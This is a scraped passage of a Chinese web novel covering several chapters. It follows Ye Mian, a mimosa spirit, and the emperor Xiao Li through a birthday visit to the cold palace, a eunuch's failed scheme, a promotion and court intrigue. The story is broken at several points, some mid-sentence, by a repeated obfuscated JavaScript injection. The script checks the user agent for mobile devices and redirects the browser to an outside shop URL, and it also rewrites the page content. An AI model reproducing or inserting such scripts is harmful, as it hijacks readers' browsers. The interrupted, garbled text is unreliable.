他拿起叶眠的大作,刚要放到蜡烛上烧了,又收回来,只把名字撕下来塞进炭盆里,剩下的放到了一个木匣子里。 “不都烧了吗?” 萧厉用手指点了点叶眠的鼻尖,吓唬道:“暂且记下你这回,往后要是再犯错,二罪归一,一起罚。” 叶眠立刻老实了,忙不迭地点头:“我听话。” 叶眠蹭了御膳,又窝在萧厉怀里舒舒服服睡了一个既暖和又灵气充沛的觉,这才心满意足地回到蓬莱苑,留下萧厉独自对着千字文发愁。 “苏承恩,你说怎么才能让叶美人心甘情愿练字?” 苏总管心中一惊。 自古这后宫妃嫔,无论男女,只要能讨皇上开心便罢了,哪里需要写什么字。 唯一一个要会写字的,就是掌管六宫的皇后了。 苏承恩被自己的想法吓了一跳。 应该不会吧,也许万岁只是一时起意? 苏公公暂时放下万千思绪,笑着说:“万岁,叶美人年纪小,看不进书也正常,要不奴才去宫外,采买些新鲜有趣儿的话本,美人又能解闷,又能顺便把字练了,您看如何?” “就这么办。” 苏承恩刚要下去安排,又被萧厉叫住了。 “等等。”萧厉从柜子里抽出一副画,又从木匣子里找出半张宣纸,“你去找个会做锦灰堆的工匠,把这张宣纸拓印,不, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15981137|177737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是直接糊在画上。” “遵旨。” 苏承恩接过画和宣纸,下一刻就惊呆了。 这宣纸上画的什么玩意儿?王八吗? 他又看了看另一幅画作,居然是万岁上个月才画完的锦鲤戏水图,他记得万岁画这幅画足足画了三个月! 王八糊在哪,荷叶上还是锦鲤身上? 他们陛下终究,还是被山一样的奏折逼疯了吗? 苏大总管在心里叹了口气,把锦鲤戏水图拿好,又用三根手指捏着那半张宣纸,默默出了御书房。 * “干爹。” 苏承恩刚出御书房,迎面就碰上了李德禄。 李德禄嬉皮笑脸地想接过苏承恩手里的东西,被苏承恩一浮尘扫开了:“起开,这可是万岁爷的墨宝,要是弄坏了,你有十颗脑袋也不够砍。” “是是是。”李德禄陪着笑脸,从袖口里摸出一锭银子,往苏承恩手里塞,“干爹,这是儿子孝敬您的。” “少来。”苏承恩往后退了一步,半眯缝着眼睛,“小兔崽子,我知道你想问什么,但圣上已经下旨让小亭子做蓬莱苑的总管了,你干爹我,也是爱莫能助啊。” 李德禄的脸色一下就变得难看起来,强撑着送苏承恩离开,跺脚回了御花园。 圣上一直不纳嫔妃,后宫里没有主子,好不容易来了个叶美人,还让小亭子抢了先。 李德禄不敢恨皇上,便恨上了叶眠和小亭子。 毕竟如果不是叶眠指了小亭子做总管太监,他也不至于还在御花园守着这堆破锄头烂铁锹。 “李管事?殿中省来人了,您看……” 李德禄没好气地翻了翻眼皮:“殿中省?干什么来了?” “下个月万寿节,殿中省让咱们这边吧御花园收拾收拾,多种些喜庆的花朵。” “万寿节?” 李德禄眼珠转了转。 圣上确实是下个月的生辰。 作为苏承恩的干儿子,李德禄多少还是知道些旁人不知道的秘密,比如他们这位圣上最讨厌过生辰。 所谓的国库紧张所以万寿节一切从简,不过是应付朝臣的说辞,其实是皇上根本不想过万寿节。 每年生辰当天,皇上都会把自己关在御书房,不许任何人进去,御前侍奉的宫人更是个个战战兢兢经,生怕犯一丁点错。 如果生辰当天,叶美人不小心凑上去了,再说上几句祝寿的词,就算皇上平常再宠着他,估计也不会轻饶,说不定直接褫夺美人的封号,打入冷宫。 想到这,李德禄唇边露出一抹阴森的微笑。 谁叫叶美人不让他做总管,那就谁都别好! 13.第 13 章 “美人?要不要休息一下?”小亭子把刚出炉的点心端过来,又给叶眠倒了一杯牛乳茶。 “不行啊,还剩二十几遍呢。” 叶眠趴在桌上,白嫩的小脸不知道什么时候粘上了两道墨痕,跟小花猫似的。 “哎对了,你会写字嘛,要不你帮我写吧。” 小亭子赶紧摇头:“奴才可不会写字,美人别为难奴才了。” “怎么办啊,又要写不完了!” 自从上次萧厉教他写字之后,也不知道中了什么邪,每天都给他布置抄写作业。 看着厚厚一本千字文,叶眠真觉得草生已经没什么盼头了。 “对了美人,下个月就是万寿节了,您有没有给万岁准备礼物?” 小亭子今天去殿中省领俸银的时候,路过御花园,听到两个宫女说前朝刘贵妃就是在万寿节给先皇绣了一件龙袍,这才从三品昭仪一跃成为一品贵妃。 虽然当今圣上一直没有大办万寿节,但那是因为国库空虚,生辰贺礼在,肯定是多多益善。 叶眠眨眨眼:“万寿节是什么?” “就是万岁的生辰。” “生辰,我知道,生辰要送礼物的,但是送什么呢?” 叶眠有些为难地用毛笔在宣纸上画圈圈。 他现在吃穿都是萧厉给的,唯一拿得出手的就是他以前掉下来的叶子,但那些叶子很珍贵的,叶眠有点舍不得给。 小亭子坐在脚踏上,歪着脑袋想了想:“要不然您也给万岁绣件龙袍呢?” “做衣服?”叶眠很诚实地摇摇头,“我不会。” 他们含羞草都不穿衣服的。 “那要不做双龙靴也行。” 叶眠继续摇头:“不会。” “或者绣个手帕香囊,什么都行。” 叶眠依旧摇头:“都不会。” 小亭子为难地小脸都皱了,半晌才艰难地开口:“那……您会什么呢?” 叶眠皱着眉头想了很久,忽然眼睛一亮。 “我会蒸包子,我蒸的羊肉包子皇上都说好吃。”叶眠一脸期待地看着小亭子,“这个应该也算是才艺吧?” 小亭子:…… 他再一次艰难地咽了口唾沫,过了好半天才试探着说:“要不您给万岁做寿桃?” 至少比包子强,听起来也像那么回事。 “也行。” 叶眠隐约记得,人间过生辰是有吃寿桃的习俗的。 他往寿桃里多放点自己的叶子粉末,也算是个很不错的贺礼了。 于是,接下来的半个月,叶眠一有空就在小厨房学做寿桃,连千字文都没空抄。萧厉闻起来,叶眠就神秘兮兮地说,自己在给他准备惊喜。 萧厉并没当真,只以为是小含羞草不愿意抄书的说辞,横竖苏承恩那边采买的话本下个月就到了,他也就没逼着小含羞草抄千字文。 * 万寿节当天。 叶眠起了个大早,兴致勃勃冲到小厨房,非常熟练地和面揉面抻面,豆沙馅是前一天就糗好了的,叶眠只需要把豆馅包进寿桃里,捏成桃子的形状,再撒上玫瑰花粉,底下粘两片叶子,一个寿桃就做好了。 听起来容易,但做起来却很难,这半个月里,叶眠足足做了上百个寿桃,才能把桃子的形状捏得这么好看。 “完工!” 忙活了一上午,叶眠看着一碟完美的寿桃,骄傲地拍了拍手上的面粉。 小亭子不知道什么时候钻到了厨房:“美人这寿桃做的可真是惟妙惟肖,就跟刚从树枝上摘下来的一样。” 叶眠脸一红,有点不好意思地弯了弯脚趾,拿起个蒸裂了的寿桃塞进小亭子嘴里。 “不跟你说了,我去找皇上了。” 小亭子慌忙咽下嘴里的寿桃:“美人等等奴才,奴才陪您去。” * 叶眠刚出蓬莱苑,迎面就碰到了一队搬花盆的小太监,打头的太监竟然还是那个辣手摧花的李德禄。 好多人啊,还有他讨厌的人。 小含羞草克制着想把自己用叶子包起来的冲动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15991654|177737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,刚要转弯绕路,李德禄却笑吟吟凑上来,躬身行了个礼:“奴才见过叶美人。” 叶眠敷衍地点点头,只想避开人群,李德禄却不依不饶:“叶美人这是要去找万岁吗?” 叶眠被问得心里很不痛快,但还是强忍着嗯了一声。 “美人有所不知,万岁今天不在御书房。” “不在御书房?那皇上在哪?” 李德禄指着另一个方向:“今天是万寿节,皇上下朝之后,直接去长门宫了。” “哦,谢谢你了。” 虽然叶眠讨厌李德禄,但是他帮了自己,还是要道谢的。 毕竟,他是一棵很有礼貌的草。 看着叶眠离开的背影,李德禄脸上的笑容满满凝固,冷冷地呸了一声。 只要叶美人今天敢踏进长门宫,他就别想再出来。 * “美人,长门宫就是冷宫,咱们要不还是别去了?” 小亭子虽然不知道萧厉最讨厌万寿节,但也知道冷宫不是什么好地方。 叶眠却摇了摇头:“没事,长门宫我知道的。” 土壤也很肥沃,还有好多草,他以前常去的。 叶眠在前面大步走,小亭子也不好深拦,只能亦步亦趋跟在后面。 为了避免再遇到不认识的宫人,叶眠领着小亭子钻树林走小路,直接绕到了冷宫侧面。他指着破败宫墙上的一个狗洞:“我从这里钻进去,你在外面等我。” 小亭子眼角抽搐:“这不好吧……” “没事,我常钻的。” 不等小亭子说话,叶眠拿着点心匣子,一弯腰就从狗洞里钻了进去。 他刚站起来,就看到萧厉坐在长满了杂草的台阶上,手边放着一壶酒。 小含羞草脸上露出几分笑容,蹑手蹑脚走过去,猛地出声:“皇上!” 然而,回应他的却是飞来的酒杯。 瓷杯擦过叶眠的耳尖,撞在墙上,“啪”地碎了一地,随之而来的就是萧厉的怒吼。 “放肆!” 14.第 14 章 叶眠曾经见过很多次萧厉发火,但这还是萧厉第一次对他发火。 小含羞草有点害怕地弯了弯脚趾,小心翼翼地凑过去:“你怎么啦?” 萧厉猛地抬起头,扬起酒壶要砸,却在看见叶眠的那一刻生生止住了动作。 他把酒壶放在旁边,依旧沉着脸:“你来做什么,滚出去。” 叶眠扬了扬手里的点心盒:“今天是你的生辰,我来给你送贺礼。” “生辰?”萧厉冷冷地看着叶眠,“你知不知道,如果进这个院子的是别人,现在早就被乱棍打死了。” 叶眠被“死”字吓得浑身微微颤了一下,但很快又缓过来了,往前蹭了半步:“你不会的。” “不会什么?” “如果今天闯进来的是别人,你也不会打死他,因为你是好人。” “好人,呵。”萧厉眉眼间闪过几分阴鸷,“恐怕也就只有你会这么觉得。” “不会啊,我觉得你就是好人。” 看着小含羞草满脸的认真,萧厉忽然就觉得心情好了那么一点,他拍了拍身边的位置:“过来,陪朕坐会。” 叶眠拎着点心匣子啪嗒啪嗒跑过去,坐在萧厉旁边,看到暴君脸色好了一点,才轻轻问他:“你为什么会不高兴?你们人族不是很喜欢过生辰吗?” “如果一个人的出生本身就是个错误,他又怎么可能喜欢过生辰?”萧厉平静的声音下隐藏着翻滚的情绪,“你知道吗,我的名字原本不是萧厉,而是萧戾。” 皇帝一边说,一边捡了根树枝,在地上写下两个不同的字:“你还记得这两个字的区别吗,朕前天刚讲过的。” 叶眠小脸顿时垮了。 他只是来送贺礼的啊,为什么还要回答这种问题! 小含羞草歪着脑袋很努力地回忆了一会,忽然眼前一亮:“我想起来了,戾字不是暴戾的意思吗?怎么会有人给孩子起这种名字!” “朕的存在对于先皇而言,本身就是一种耻辱。” 萧厉灌了一大口酒,开始缓慢而平静地讲述他的过往。 二十年前,先帝醉酒之后,误闯浣衣局,临幸了一个粗使宫女,原本这也不算什么,但那个宫女却偷偷吐掉了避子汤,只盼着能生下皇子,母凭子贵,飞上指头当凤凰。 没相当,几个月之后,宫女的肚子真的大了起来,等先皇发现的时候,宫女已然生了皇子。 先皇震怒,又不愿意背上杀害亲生儿子的不慈之名,就把宫女和皇子一起幽禁在了长门宫,又给皇子起名,萧戾。 宫女没做成娘娘不说,还被打入了冷宫,巨大的落差让她直接疯了,每天不是尖叫,就是咒骂萧厉。 后来萧厉长大了一点,咒骂就变成了殴打,反正是幽禁在冷宫的皇子,只要不弄出人命,就算打残了也不会有人管。 不止那个疯了的宫女,其他冷宫的宫人也会来欺侮萧厉。他们都是宫里最底层的人,现在居然能掌握一个皇子的命运,自然会不遗余力地欺凌萧厉。 这种悲惨的生活持续了八年,直到先皇病重,先皇后为了夺权,才把萧厉从冷宫接了出来,改名萧厉,立为太子。 而那个生下萧厉的宫女,早在一年前病死在了冷宫。 皇帝都是孤家寡人,这些过往,萧厉没法跟任何人提起,只能在每年生辰,把自己关在冷宫一整天。 但是今年,他有了叶眠,他不属于后宫,也不属于前朝,他只是一株很小,但是很可爱的含羞草。 叶眠听完了整个故事,气得眼睛都瞪圆了。 先皇怎么会这么坏! 当然那个宫女也不是什么好人,只想着利用萧厉,利用失败了又这么欺负萧厉,真的是很坏了! 萧厉原本心情不太好,可看到小含羞草一脸生气的样子,憋在心里那口气一下就散了。 他捏了捏叶眠软乎乎的小脸:“朕这个苦主还没说什么,你倒生上气了?” 叶眠被萧厉捏得小脸红了红:“他们这么对你,是他们不好,但你和他们不一样,你是很好很好的人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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皇帝不是说人族不吃含羞草吗? 难道这些话都是骗草的。 救命,他要被皇帝吃掉了! 15.第 15 章 还没等叶眠想明白皇帝为什么咬他的嘴,汹涌的灵气已经扑面而来,径直撞入叶眠的身体。 叶子不受控制地从叶眠头发里冒出来。 救命,他不想再变回含羞草了! 叶眠慌忙推开萧厉,努力消化过剩的灵气,总算是没有再向上回一样直接变回含羞草。 “不行……嗝,不行了。” 太多灵气了,他又吃撑了! 看着叶眠不停打嗝,萧厉脸上难得出现了几分迷茫和不自信。 “很难受吗?” “没……嗝,就是吃的有点撑。” 萧厉无奈地看了他一眼,熟练地把叶眠拉到自己怀里帮他揉肚子:“朕是克扣你份例了吗?吃那么多难受得还是你自己。” 叶眠愤愤地等了萧厉一眼,小声嘀咕:“还不是都怪你。” 要不是皇帝啃他嘴,他也不会吃撑! 他是含羞草,又不是玫瑰酥,一点都不好吃啊? “你的叶子怎么又冒出来了?” 叶眠神色一紧,小心翼翼地捂住脑袋上的叶子:“一……一会儿就好了。” 萧厉眉头皱了皱。 上次亲叶眠的时候,他直接变回了含羞草,这次虽然没完全变回去,但头顶也冒了好几片叶子。 “你这叶子冒来冒去的,有没有什么规律?” 规律? 规律当然就是灵气过剩或者不足的时候,叶子就会冒出来。 但是叶眠根本不敢说实话,只能支支吾吾地解释:“也没什么规律,就是随机的,你要不要吃寿桃,我做了一上午。” 萧厉深深地看了叶眠一眼,并没继续这个话题,而是任由含羞草打开点心匣子,从里面拿出一小盘寿桃。 “豆沙馅的,尝尝。” 萧厉捻起一个寿桃,狭长的眸子里浮现出复杂的情绪。他从来没吃过寿桃。以前是吃不到,后来是不愿意吃。 叶眠特意往寿桃里放了两倍馅料,萧厉第一口就吃到了豆沙。 有点太甜了,但还是很好吃。 “祝你福如东海长流水,寿比南山不老松。”叶眠很真诚地说。 萧厉差点被嘴里的寿桃噎到。 叶眠却完全没意识到哪里不对,说完这两句祝寿的话,就挺起胸膛,一脸求表扬的样子。 他原本是打算从人间全书上找祝寿的话,但人间全书诗词那一章密密麻麻,根本就分不出来哪句是什么意思。 好在小亭子知道一句祝寿的话,教给了他,他昨晚还背了半个时辰,绝对不会错。 萧厉勉强把寿桃咽下去,刚要教育叶眠两句,祝寿的话不是这么用的,就对上了小含羞草晶晶亮亮地眼睛。 算了。 叶眠还小,以后慢慢教也来得及。 于是,那些教育草的话自然而然变成了一连串夸奖,夸得小含羞草头顶的叶子都不好意思地蜷起来了。 他看萧厉吃寿桃吃得很香,也想吃一个尝尝,刚拿起来手背就被萧厉重重拍了一下。 “都撑得打嗝了,还吃,真不怕积食。” “含羞草精怎么会积食啊!” 叶眠嘟囔一句,到底不敢告诉萧厉自己积食不是因为吃多了,而是吸他的灵气吸多了,只能愤愤地坐在一边,看着萧厉把一整盒寿桃全部吃掉。 * “怎么样?冷宫还没有动静?”李德禄躲在冷宫对面的大树后面,压着声音问。 小太监躬着身子回话:“确实没有动静。” “叶美人真的进冷宫了?” “奴才亲眼所见。” 李德禄扫帚眉紧皱。 这就奇怪了,万岁生辰最忌别人打扰,叶美人闯进去,万岁肯定是要生气的。 总不会是盛怒之下直接掐死了吧? 李德禄浑身一抖,又忍不住勾起了嘴角。 就算被掐死,也是叶美人咎由自取,与他又有什么关系呢? 李德禄正想着美事,就听小太监惊呼一声:“管事,万岁和叶美人出来了。” 他慌忙抬起头,想看看叶眠被收拾得多惨。 然而,李德禄想象中的场景并没发生,叶眠不仅没有受伤,反而被萧厉亲自牵着登上了龙撵。 李德禄气得脸色发绿,牙齿都快咬碎了。 然而这还不算完,萧厉在上了龙撵之后又说了一句:“传旨,晋封叶美人为昭卿。” 李德禄好像被雷劈中了一样僵在了原地。 他没听错吧。 不仅没罚,还晋升了位份? 这个叶美人到底有什么本事,能把万岁迷成这样! 坐在龙撵上的叶眠并不知道李德禄已经快被气疯了,把头从窗户探出去问苏承恩:“昭卿比美人好吗?” 苏承恩往轿子里瞥了一眼,见万岁没有制止的意思,这才回答:“那当然,美人是正四品,昭卿可是正三品。” 景朝后宫礼法,皇帝可立后一人,贵妃二人,妃四人,嫔九人,三品的嫔位上,若是女子便称嫔,若是男子便称卿。 因为男子不能生育,位份往往不会太高,一般而言,三品昭卿就是男妃能达到的最高位份了。 思及此,苏承恩笑呵呵地冲叶眠施礼,“奴才恭喜叶昭卿。” “三品呀,那刘太医是几品?” 李德禄被叶眠的问题搞蒙了:“刘大人是太医院院判,正五品。” 才五品呀,比他足足小两级呢。 萧厉等叶眠把问题问完了,才轻轻呵斥了一声:“好好坐着,探头探脑的像什么样子。” 叶眠皱了皱鼻子,缩回脑袋冲萧厉做了个鬼脸。 “越来越大胆了。”萧厉揉了揉含羞草软乎乎的头发,“你也是的,没事跟个太医比什么?你们俩又不一样。” “我知道。” 他可是治好了萧厉的失眠,不像那个太医,只会嫁祸给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16009245|177737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 含羞草。 萧厉把轿帘拉下来:“你怎么知道朕在长门宫?” 他每年万寿节会去冷宫的事,除了身边几个近身伺候的太监之外,其他人都不知道,他昨天还特意嘱咐了苏承恩不要告诉叶眠自己在冷宫。 叶眠到底是怎么找过来的。 “李德禄告诉我的,就是御花园的管事。” “李德禄……” “对啊,怎么了?” 狭长的眸子里生出几分阴鸷,转瞬即逝,萧厉又揉了揉叶眠的脑袋:“没事,朕送你回宫?” 叶眠忙不迭地点头。 他今天又吃撑了,可不能再和萧厉待在一块了! * 把叶眠送回蓬莱苑,萧厉的脸顿时沉下来。 “御花园管事李德禄,行为失状,顽劣不堪,冲撞主子,似此蠢物,实不能再做御花园管事,罚没奚官局,终身不得出。” 苏承恩愣住了。 奚官局? 那可是宫里犯了大罪的太监才会去的地,干的是抗砂料搬死尸的重活,又累有苦,犯了错的太监宁愿被杖毙也不愿意去。 但是对上萧厉那双冰冷的眸子,苏承恩除了一句“遵旨”,半个字不敢多说。 李德禄这回,算是彻底完了 * 叶眠从美人晋位到昭卿之后,生活并没什么改变。依然是每天睡到日上三竿,时长去御书房蹭饭,隔三差五被皇帝召去侍寝。 除了被按着抄书之外,草生一片美好。 “叶眠?” 听到皇帝叫他,小含羞草光着脚跑过去,刚跑到萧厉身边,就看到了一大摞书。 叶眠绝望地看着比他还高的书:“这都是给我的?” “选一本。” “别了吧……”叶眠低着头揪衣角,不想选又不敢顶撞萧厉。 “没出息。”萧厉伸手弹了下叶眠的脑门,“这些比千字文好看。” “你不要骗草!” 叶眠嘀咕着拿了一本,翻了两页就迷住了。 这本书和千字文完全不一样,写的东西他能看的很明白! 故事讲的是一个家道中落的穷书生,只能靠乞讨为生,偶然遇到了一个富家小姐,小姐见他可怜,就送了他十两银子。 萧厉坐在桌前批奏折,叶眠靠在榻上看话本,午后的暖阳顺着窗棂纸照进来,颇有几分岁月静好的感觉。 萧厉批了一摞奏折,瞟了眼里屋认真看话本的叶眠,轻声冲苏承恩道:“叫张天师过来。” 不多会,白发苍苍的张天师走进来,刚要问安,萧厉一个眼神扫过去,立刻闭上了嘴。 萧厉摆手让伺候的人都出去,才轻声问:“你有没有办法,能让精怪维持人形。” 自从进了御书房,张天师就感觉到了一股妖气,他往里屋瞥了一眼,顿时大惊失色。 那个精怪身上盘绕的氤氲灵气,竟然是皇上的龙气! 16.第 16 章 “哎呀万岁!”张天师扑通一声跪在地上,“这个妖孽……” “大胆!”萧厉压着声音训斥了一句,“为祸人间的才是妖孽,叶卿帮朕治理了失眠症,分明是祥瑞!” 好耳熟的话…… 张天师一下就想起来一个月前,皇上因为一个妖精传召他到寝宫,好像也是这套说辞。 该不会那个爬床的妖怪就是这个少年吧。 张天师愤怒的表情僵在了脸上,半天才干笑了两声:“万岁所言极是,是微臣失言了。” “那你说说看,怎么才能让叶昭卿维持人形。” 昭卿? 就那个三品昭卿? 张天师表情再一次裂开了。 这个妖孽简直是妲己转世啊!八成原型是个狐狸精! 萧厉没注意到张天师复杂的表情,兀自解释道:“尤其是他一亲近朕,就很容易变回原型,是何缘故?” 还能为什么,那个狐狸精灵力尚弱,应该是还没化妖,肯定是吸了太多龙气消化不了,才会化成原型的呗? 但现在的问题是,他应不应该和皇上说实话。 这个妲己家的孙子能在半个月爬上龙床,还封了三品昭卿,可见手段不一般,说不定还会什么特殊的媚术,若是他真的说了实话,戳破了这狐妖爱慕万岁是假,借万岁的龙气修炼是真,肯定会被狐妖记恨。 况且吸龙气和吸食人的精元不同,后者是邪术,妖精用这种方法修炼,一年能顶十年,而被吸了精元的人寿命大减甚至有性命之忧。但是前者却是正大光明的修炼法则,并不会对万岁的龙体产生任何影响,说明这个狐狸精多少还是有底线的。 若是他捅破了这层窗户纸,那个狐狸精在万岁面前哭一哭求两句,说不定万岁还愿意被他吸龙气呢,到时候倒霉的还不是他自己。 呼吸之间,张天师便做出了决断:“回万岁的话,您是真龙天子,四海臣服,百兽来朝,这精……呃祥瑞见了,抵挡不住您的龙气,恢复原形也是正常。等他再修炼一段时间,羽化成妖,化形也便稳定了。” “净用这些套话糊弄朕。”萧厉没好气地冲张天师摆摆手,“下去吧。” 张天师和萧厉对话的时候,叶眠正在津津有味看着话本,连外面进来了个能降妖道士都没察觉。 书生在拿到十两银子之后,奋发图强,第二年科举考上了探花郎。书生想求娶给他送银子的小姐,可皇上却下旨,将公主许配给书生做妻子。 一边是皇命难违,一边是救命之恩,书生陷入了两难境地,最终还是决定冒死将他已经和小姐私定终身的事禀告给了皇上。 皇上震怒,想要治书生欺君之罪,还是皇后从中求情,说书生是个不贪慕荣华富贵的好人,不该治罪。 最后,皇上赦免了书生的罪名,将公主许配给书生为妻,又让书生纳小姐为妾,从此他们三个幸福地生活在了一起。 叶眠看完一整个故事,心里酸酸的,说不上来是什么感觉。他把话本放在榻上,学着萧厉批奏折时的样子,长长叹了口气。 萧厉抬起头:“看个话本,怎么还长吁短叹的。” 叶眠嘟嘟嘴,声音难得有些低沉:“替小姐不值啊。” 萧厉背着手走过去,拿起话本瞄了一眼。 《赠银记》,景朝很常见的话本,书生富贵不忘恩人,帝后通情达理,公主也有容人之量,从没有人说过这个话本的结局不好。 “有什么不值的?” 叶眠趴在炕桌上,声音闷闷的:“她那么喜欢书生,最后还要和公主分享书生的爱,当然不值了。” 萧厉脸色微变,喉咙哽了哽,声音发涩:“但皇帝已经下旨,若是书生不娶公主,便是抗旨不尊,那是满门抄斩的罪名。” “我知道,所以好像也没法怪书生。” 叶眠又叹了口气,没再纠缠这个事,而是好奇地看向萧厉:“对了,我看话本里的皇帝有皇后,那你以后也要娶皇后吗?” 萧厉脸色骤变,漆黑的眸子里翻滚着复杂的情绪,半晌才艰涩地开口:“要。” 就像话本里的书生不能违抗皇命,必须娶公主一样,他也必须娶皇后。 叶眠抿了抿嘴唇。 那确实有点麻烦了。 按照话本上写的,皇后是皇帝的妻子,晚上要和皇帝睡觉的那种。 如果萧厉娶了皇后,他就不能陪萧厉睡觉了,那他的修为肯定会落下! 于是叶眠一脸真诚地看着萧厉:“你能不能晚点再娶皇后,至少不要在今年娶。” 现在才五月,还有七个月的时间,他肯定能在年底之前吸满灵气。到时候他回招摇山,萧厉再娶陪他睡觉的皇后,完美! 萧厉坐在叶眠对面,低垂的眼眸里克制着翻滚而复杂的情绪。 暴君沉默良久,终于开口:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16014034|177737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乖乖练字,朕就晚点娶皇后。” “又是练字,草到底为什么要会写字!”叶眠嘟囔了一句,不情不愿抓起毛笔开始抄写。 在叶眠看不到的对面,萧厉的手掌攥紧又松开,他打开炕桌旁边的抽屉,拿出一个篦子,走到叶眠身后,解开他头上已经有些松了的发带,用篦子慢慢梳着。 “干什么呀?” 叶眠放下毛笔,很自然地用脑袋蹭了蹭萧厉温暖地大手,舒服的一双圆眼睛眯成了两条缝。 萧厉并没回答,只是沉默着帮他梳好头发,才没头没尾地来了一句:“不管有没有皇后,朕都会对你好。” 叶眠已经舒服得快睡着了,根本没听清萧厉说什么,只是习惯性地嘟囔了一句:“好哦。” * 当天晚上,叶眠又一次留在了皇帝寝宫。 虽然按照宫里的规矩,嫔妃不能在龙床过夜,但谁又敢和萧厉提规矩,就连御前大太监苏承恩也只是在龙床上加了一个枕头,然后就自觉退到外间屋,连“是时候了”都不敢喊。 在叶眠的努力下,萧厉失眠的毛病越来越轻,现在只要每旬用灵力助眠一次就可以了。算算日子,距离下一次施法还有五六天呢! 于是,叶眠抱着萧厉的胳膊,心安理得地在暴君怀里睡着了。 但已经一个月没有失眠的萧厉,今晚却有些睡不着。 怀里的含羞草睡相很好,小小的一团,黑发垂在肩上,更衬得脖颈白皙修长,又软又乖。 含羞草,一种被轻轻碰了一下,都能害怕得合上叶子的植物,现在却毫无防备地睡在他怀里。 萧厉心里软成了一片,脑海中又不由得浮现出白天叶眠提的问题。 萧厉很清楚,他不可能娶叶眠做皇后。 朝臣不会允许他娶无法生育的男妃为后,更不会允许他娶一个毫无家世的含羞草精做皇后。 更何况,若是没有子嗣,恐怕皇叔又要起了别的心思。 不过呼吸之间,萧厉的心思已经在前朝,世家和后宫之间转了几个圈,等他反应过来的时候,自己都有些发愣。 他居然在考虑娶叶眠做皇后。 看着臂弯里睡得没心没肺的含羞草,萧厉烦躁地皱皱眉。 面对洪灾旱灾、异族入侵眼睛都不眨一下的帝王,头一次感受到了心乱如麻是什么意思。 他默默叹了口气,慢慢合上了眼睛。 17.第 17 章 天气一天天热起来,暑期蒸腾,整个皇宫都好像扣在蒸笼里一样。 但是叶眠却一点都不怕热,作为喜欢湿热的含羞草,他最喜欢的就是这个季节。 空气温暖潮湿,泥土里水分很足,几乎不需要干什么,只要在土里站一会儿就很舒服了。 上个月,萧厉刚刚下旨让人把蓬莱苑的后院收拾了一下,不仅把土翻得又软又喧腾,还在旁边扎了一座秋千。 叶眠没事就喜欢坐在秋千上,吹吹风看看日出日落,可美了。 “哎呦我的昭卿哎,您怎么还坐在这,皇上正传您去御书房呢。” 苏承恩急急忙忙跑过来,热得满脸都是汗。 “啊,又去御书房啊……” 萧厉最近不知道抽了什么风,不仅要抄书,还让他学珠算。 什么一下五去四,一退一还九…… 光是听听就已经晕了好吗? 萧厉甚至还说等他把口诀背熟了,要让他看后宫的账本。 他只是一根草啊,为什么还要学这些东西! 叶眠没精打采地从秋千上下来,磨磨蹭蹭上了轿子。 * 与此同时,御书房里,所有的太监宫女都被打发出去,只剩下了一个侍卫打扮的人。 但只有萧厉知道,这人不是普通侍卫,而是隐卫首领穆长安。 隐卫是萧厉登基之后一手创办的,直接听命于萧厉,出没于暗处,探听情报监视有异动的朝臣,没有他们,萧厉也不会那么快扳倒太后,铲除世家。 此时,因为首领正半跪在龙案前:“陛下,庄王府,有异动。” 庄王是萧厉的皇叔,也是隐卫重点监视的对象。 萧厉笔锋一顿:“庄王府?” “庄王府最近频繁与豁里真部书信往来,还暗地给豁里真部可汗送了万两白银,美女十名。” “朕如果没记错,今年秋狩的围场,就在豁里真部附近吧。”萧厉冷笑一声,“皇叔为了朕,还真是下了血本,这些心思要是放在正地上,早就做出一番功绩了!他就算把朕杀了又怎么样,难道他和他那个玩物丧志的世子,就能管得好景朝的江山了?依朕看怕是要做亡国之君吧!” 